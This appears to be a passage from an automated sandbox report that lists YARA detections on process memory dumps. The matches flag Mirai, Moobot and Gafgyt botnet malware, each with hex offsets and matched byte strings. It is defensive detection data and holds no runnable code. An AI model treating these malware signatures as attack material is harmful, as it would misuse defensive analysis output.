2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6684.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6554.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6554.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6554.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6554.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6554.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6554.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6674.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6728.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6728.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6728.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6728.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6728.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6728.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7142.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7142.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7142.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7142.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7142.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7142.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6631.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7220.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7113.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6875.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6875.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6875.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6875.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6875.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6875.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6514.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6514.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6514.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6514.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6514.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6514.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6502.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6502.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6502.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6502.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
